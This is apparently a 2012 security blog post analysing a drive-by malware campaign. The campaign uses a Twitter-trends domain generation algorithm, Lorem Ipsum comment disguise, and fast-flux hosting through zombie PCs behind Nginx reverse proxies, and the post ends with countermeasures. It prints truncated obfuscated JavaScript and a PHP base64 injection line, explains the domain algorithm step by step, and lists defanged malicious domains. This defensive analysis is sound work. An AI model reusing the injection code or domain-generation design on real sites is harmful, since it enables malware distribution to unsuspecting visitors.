Lorem Ipsum and Twitter Trends in Malware

A couple of years ago I wrote about malware attacks that used Twitter API to generate domain names for their malicious sites using trending topics as keys in the domain generating algorithm.

• Each domain was in use for a few hours only
• The next domain names would become available just a few hours before the malicious scripts on hacked sites begin to use them.

Since 2009, I’ve seen many revisions of that attack. It has never been the most prevalent issue but as far as I can tell it constantly evolves and mutates. The recent update of the malicious script injected by this attack looked quite interesting and I decided to find out what has changed since late 2009.

Malicious scripts

First of all, here’s the malicious script that was used in December (full version)

(function($$){qq2=[8,0,26,0,11,81,29,0,26,...skipped...87,73,78];qq21=[68,79,87,27,0,9,...skipped...39,7,9,10];function co(){return 'Code';}function gafu(){return a(String,'f'+ro()+co());}qq3=[94,39,7,9,10,94,...skipped...76,73];qq31=[84,8,7,7,0,19,...skipped...0,16,27,54];d='';mapper=[3,32,54,56,64,...skipped...24,0,25,0,26,0,27];map='';function fs(ro,arr,add){for(var i=0;i<arr.length;i++){ro+=String.fromCharCode(arr[i]+add);}return ro;}d=fs(d,qq2,32);d=fs(d,qq21,32);d=fs(d,qq3,32);d=fs(d,qq31,32);map=fs(map,mapper,32);function a(b,c){return b[c];};function ro(){return 'romChar';}for(c=55;c;d=(t=d.split(map.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(fun ction(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});

It was a long obfuscated one-line script with long sequences of numbers. More or less, this is what those scripts always looked like. One line of a long obfuscated code, usually at the very bottom or very top of the HTML code of infected web pages.

On PHP sites, this script was injected in a form of an obfuscated PHP code (full version):

ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD4oZnVuY3Rpb24oJ...skipped...Sk7PC9zY3JpcHQ+');}

Quite a typical base64_decode obfuscation trick, although disguised by the security_update function name to make this code look more legitimate.

January 2012 code mutation

However in January, the code changed (it is still detectable by Unmask Parasites). Besides some algorithmic changes, the malicious script now consists of 78 lines of code generously sprinkled with comments in Latin!!! Here you can see the full version.

(function($$,_2,_1) {
function qq2(){return [89,75,80,70,81,89,16,73,78,81,...skipped...11,93,2,29,13,10,13,96,71,2,18,29,56];}
function co() { return 'Code';}
...skipped...
mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2...skipped...27,2,28,2,29];
map = '';
function fs(ro, arr, add, st, en,dp) {
//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem
...skipped...
//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis
...skipped...
//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi
...skipped...
//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland
...skipped...
//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur
...skipped...
})(function(jsBb) {
return (function(jsB, jsBs) {
return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()
})((function(jsB) {
return jsB.constructor
}), (function(jsB) {
return (function(jsBs) {
//accumsan dapibus diam
...skipped...
});
/**/
gloa();

For some reason, hackers thought that comments in Latin would make their code look more legitimate, more reputable. But for me, the Latin comments were like a huge alert message — who would want to use Latin in JavaScript comments? It just doesn’t make sense.

Lorem Ipsum

Moreover, after some inspection, the Latin text appeared to be a random mixture of word from the classic “Lorem Ipsum” text. This text is used as a placeholder text in publishing and graphic design to have people focus on the visual presentation of elements rather than reading the text. But I doubt someone cares about visual presentation of a normally invisible html code and there is no point in providing comments if they are unreadable.

Making the attack sustainable

Anyway, this change in the formatting of the malicious script was probably one of the multiple tricks that aimed to improve the whole sustainability of the attack. In this case, they changed the code so that it doesn’t resemble a typical malicious script with a single line of an obfuscated code. The goal is to increase the infection period (time before a webmaster identifies the source of a problems and removes the script).

However malicious scripts on infected web pages is not the only thing that contributes to success of an attack. Most drive-by attacks rely on some third-party malicious sites where malware is being actually loaded from. Such sites have domain names and IP addresses that can be easily blacklisted by antivirus software, browsers and firewalls — this can significantly affect the attack performance. Moreover, authorities can suspend offending domains and request hosting providers to shut down malicious sites and whole servers. This attack uses several interesting solutions to address such threats.

Generating domain names on the fly

To avoid blacklisting, hackers have to frequently change domain names of their malware distributing websites. This particular attack rather than regularly updating injected scripts to use new links to malware sites, uses Twitter API (trends) and a clever algorithm to generate new pseudo-random domain names of attack sites on the fly.

It’s a new version of the algorithm that I described two years ago. Here’s an overview of this new algorithm.

1. It uses Twitter API (http://api.twitter.com/1/trends/daily.json) to get a list of trending topics that were hot two days ago.
2. Depending on the current time, it extracts the fourth topic from the list of trends for one of the following hours: 01:00, 07:00, 13:00 or 19:00 (in some rare cases they may use 02:00, 08:00, 14:00 or 20:00)
3. The extracted trending topic is used as a key in a domain name generating algorithm.
4. The algorithm just returns a permutation of characters in the key and uses the first 10-13 of them as a new domain name.
5. To address edge cases where a trending topic is less than 10 characters long and to improve the random nature of permutations, they append the word “microscope” to the trending topic before applying the algorithm.
6. As a result, the algorithm generates domain names like: dgeocanyaf .com, ocooecunrpbn .com, snrrstrcocri .com (more domain names here), that change every 6 hours. The attackers have almost two days to register them (they register them just a few hours before the use though).
7. Then the script builds a URL of a malicious page, adding the “/index.php?tp=001e4bb7b4d7333d” path to the generated domain names. The resulting URL is used to create an invisible iframe that pushes exploits to web browsers of people who visit infected web pages.

The benefit of this approach is the attack can easily survive if some domain is blocked or unavailable for some reason — it only means not more than 6 hours of downtime. On the other hand, if someone reverse engineers the algorithm (like I did) they can use the same algorithm to blacklist or sinkhole the domain names before they become malicious.

So what’s new comparing to that two year old version of the attack?

The main differences from the previously described algorithm, are:

1. Hardcoded year 2012. This proves that the attack is still active and the attackers don’t want to abandon this Twitter based approach to generate domain names.

2. Instead of just 2 domains, they generate and use 4 new domains every day, and change them every 6 hours.

3. The domain generating algorithm no longer uses predefined suffixes for the generated domains. They used to have 12 month-specific predefined suffixes that helped easily identify the attack when you knew where the infected page tried to load the malicious content from. The current algorithm generates completely random domain names that don’t have any easily identifiable parts that can help classify them as belonging to this attack.

Online Demo

To show how this domain generating algorithm works, I’ve create an online tool that uses the same algorithm to predict malicious domains in real time. It shows 4 today’s malicious domains and predicts 4 domains that should be used by the attack tomorrow (more or less, depending on your time zone).

To make it more informative, I’ve provided two links for each domain name

1. Whois — to show whether the domain is registered and if it is then show who and when registered it (in most cases you’ll see the current date)
2. Google’s Safe Browsing diagnostic — to show whether Google has already picked up the malicious domain (this usually happens by the end of the 6-hour lifespan of that domain)

Just to make this tool a little bit less boring, each domain name is accompanied by a corresponding Twitter trending topic that was used to generate that domain name.

For example, as I write this article on January 25th, the current malicious domain is “dgeocanyaf .com” and the corresponding Twitter trending topic from January 23rd is “Happy Year of the Dragon“. The domain was registered on January 25th, 2012 and Google already lists it as suspicious.

The upcoming malicious domain is “epljsxiomccg .com” and the corresponding Twitter topic is “Judge Alex“. The domain is already registered but Google doesn’t list it as suspicious (no wonder – it is not active yet).

The first predicted domain for January 26th (GMT time zone) is “mrrcatsphmoin .com” and the corresponding trending topic from January 24th is “Mr. and Mrs. Smith“. This domain is not registered yet (it should be by the time when you read this article) and Google doesn’t know about it yet.

If you are interested in the code of the algorithm, you can check the source code of the web page of this online tool.

OnlineNIC Domain Resellers

If you analize the Whois information for those domains, you can see that they all have been registered via OnlineNIC Inc. To register domains, the attackers used a few supposedly fake accounts – all of them marked as “reseller“.

So what does it mean to be an OnlineNiC’s domain reseller?

1. Anyone can register to be a reseller. The prices begin from $94 of prepayment (you can use them later to purchase domains).

2. OnlineNIC provides “an API/template system to make it a snap for you to get started. In a matter of minutes, you can easily integrate private-labeled real-time domain name registration services right into your own Web site!”

So what is that API? According to the documentation: “The application program interface (API) is a set of routines and criterion and protocols by OnlineNIC. … It makes you and your client easier to
complete products purchase, management, and info-query and so on via API.”

Here are just a few things that this API allows to do:

• Check domain availability
• Register domain
• Create Name Servers
• Update domain Name Servers

So, resellers can use this API to create a program that will automatically purchase and manage domains. That’s a perfect solution for this attack, isn’t it?

DNS-DIY

The reseller account comes with free DNS-DIY DNS service that allows to manage A records and customize Name Servers (“Add the domain which you are using as dns at www.DNS-DIY.net, then create CNAME Records for ns1.yourcompany.com and ns2.yourcompany.com so that they can be pointed to ns1.DNS-DIY.net and ns2.DNS-DIY.net.” – that’s why you can see ns(1|2).malicious-domain.com as Name Servers of those malicious domains in Whois) There should be no surprise that DNS-DIY has an API too — so all operations can be automated.

Zombie-computers as fast flux hosting

The DNS-DIY API is used for a good reason. Not only do the attackers need it to initially configure new domains to point to certain servers, but they also use it to avoid taking down the malware distributing servers.

This attack uses a technique called Fast flux hosting (if I use this term correctly). Here’s how it works.

When the attackers register a new domain, they create two A records for each domain. This means that each domain points to two different IPs and it’s up to your DNS software which of them to use.

These two A-records help achieve two goals:

• load balancing – the traffic is split between two servers
• if one server is shut down or unavailable for some reason, the other server will still be processing requests.

However, it is not the most interesting thing in the fast-flux scheme. After all, the second server can be shut down too. The most interesting thing is how the attackers choose which two IPs to use in A records.

The thing is the IP addresses in the A records change every 6 hours, the same way as they change the domain names used in this attack.

Here is a list of 120 unique IP addresses that I collected over the last few days (not only did they use them for new domains but also updated A records of some older domains). The analysis of those IPs shows that they all belong to IP blocks of cable, broadband and even wireless ISPs from all around the world:

• Australia Melbourne Telstra Internet
• Austria Linz Liwest Kabelfernsehen Errichtungs- Und Betriebs Ges.m.b.h
• Austria Vienna Oebb Telekom Service Gmbh
• France Paris Free Sas
• Germany Kabel Deutschland Breitband Service Gmbh
• Germany Leipzig Primacom Berlin Gmbh
• Italy Chieti Telecom Italia S.p.a
• Italy Telecom Italia Mobile
• Netherlands Amsterdam Upc Broadband Operations B.v,
• Netherlands Barneveld Matrix Pc B.v
• Philippines Makati Pldt
• Poland Telewizja Kablowa Kolobrzeg Agencja Uslugowo – Reklamowa Sp. Z O.o
• United States Richmond Comcast Cable Communications Inc
• United States Houston AT&T Internet Services
• United States Kyle Road Runner Holdco Llc
• Venezuela, Bolivarian Republic Of Barquisimeto Internet Cable Plus C. A,
• and many more …

This proves that instead of real web servers, the malicious domains point to infected computers of normal web surfers, so called bots or zombie-computer. This approach is not new. For example, two years ago I described how Koobface used web servers on infected PCs.

Nginx reverse proxies

If you check HTTP header of responses from the malicious sites, you’ll notice that they all have the same “Server: nginx/0.7.65; X-Powered-By: PHP/5.3.2-1ubuntu4.10” headers.

Although the headers suggest that the remote computer runs Ubuntu Linux distribution, it is hard to believe that hackers found so many vulnerable Ubuntu workstations all over the world connected to the Internet via regular ISP services. Moreover, they all have the same versions of Ubuntu, PHP and Nginx.

The answer to this is Nginx. This is a popular web server known to easily handle large volumes of traffic. It is popular within cyber criminals both for its ability to reliably work under heavy load and for it’s reverse-proxy feature that helps to hide the real malware distributing server behind the layer of proxies.

The most probable scenario

Cyber criminals have a program on a C&C (command and control) server that is scheduled to do the following things:

1. Use their domain generating algorithm and the OnlineNIC API to register a new domains.
2. Then ping their botnet and identify a few zombie-computers with reliable Internet connections and public IP addresses.
3. Using the DNS-DIY API, setup DNS records for the new domain. Specifically create two A records that point to two zombie-computers selected in the step 2.
4. For some older domains, update A records with new IPs selected in the step 2.
5. For more old domains, remove one A record and point the other to 127.0.0.1 or remove it altogether (dispose of the domain)
6. There is an Nginx web server on every zombie-computer. (There is a Windows version of Nginx) that processes requests to malicious URLs (hxxp://malicious-domain .com/ index.php?tp=001e4bb7b4d7333d)
7. Nginx servers on zombie-computers work in a reverse proxy mode. They transmit every request to some remote server that actually distributes the malware and then return that server’s response back to clients (in our case to web browsers that loaded infected web pages). The “PHP/5.3.2-1ubuntu4.10″ header is actually from that remote server (reverse proxies pass most headers from the proxied servers).

Counter measures

It is clear that the attack constantly evolves and changes but given its current state it is possible to identify its weak sides and suggest some counter measures.

1. Hijack the domain generating algorithm. Interested parties can blacklist domains before they turn malicious (or at the very moment) or register them before the criminals do it. Of course, the algorithm will change, but it doesn’t take long to reverse engineer it and it will take quite some time for hackers to update their infrastructure to use a new algorithm and update the malicious code on all infected web pages.
2. Have OnlineNIC close the reseller accounts that the cyber criminals used for registering those domain names. If you check the Whois records of the domains, you’ll see that they were registered using the same few accounts (some of them). Of course, it is possible to register new reseller accounts, but if OnlineNIC agrees to cooperate, it will be easy to close rogue accounts as soon as they begin register new malicious domains. It is clear, that the attack infrastructure relies on APIs of OnlineNIC and DNS-DIY, so if they can’t use them it may disrupt the attack.
3. Don’t let the parasites use your resources. Keep your computers and websites malware-free.

I can’t tell for sure how exactly the malicious code is being injected into legitimate web pages (I couldn’t find webmasters of infected sites who would want to help me in my investigation :( ), but I see some signs that the attack could use stolen FTP credentials. If this is true, webmasters should thoroughly scan they computers for malware, change all site passwords (and refrain from saving them in FTP clients) and then remove the malicious code from files on server.

Update (Feb 18, 2012): Thanks to foks, I’ve received some very interesting information about this attack. Please read the update here. Some highlights of what you will find there:

• Confirmed FTP attack vector.
• google_verify.php and auto_append_file trick in .htaccess.
• New buggy version of the malicious script.
• Detailed clean up instructions.

##

Additional information and your comments are welcome.

Similar posts:

• Lorem Ipsum and Twitter Trends in Malware. Update.
• Hackers Use Twitter API To Trigger Malicious Scripts
• Twitter API Still Attracts Hackers
• How Criminals Defend Their Rogue Networks – abuse.ch
• Introduction to Website Parasites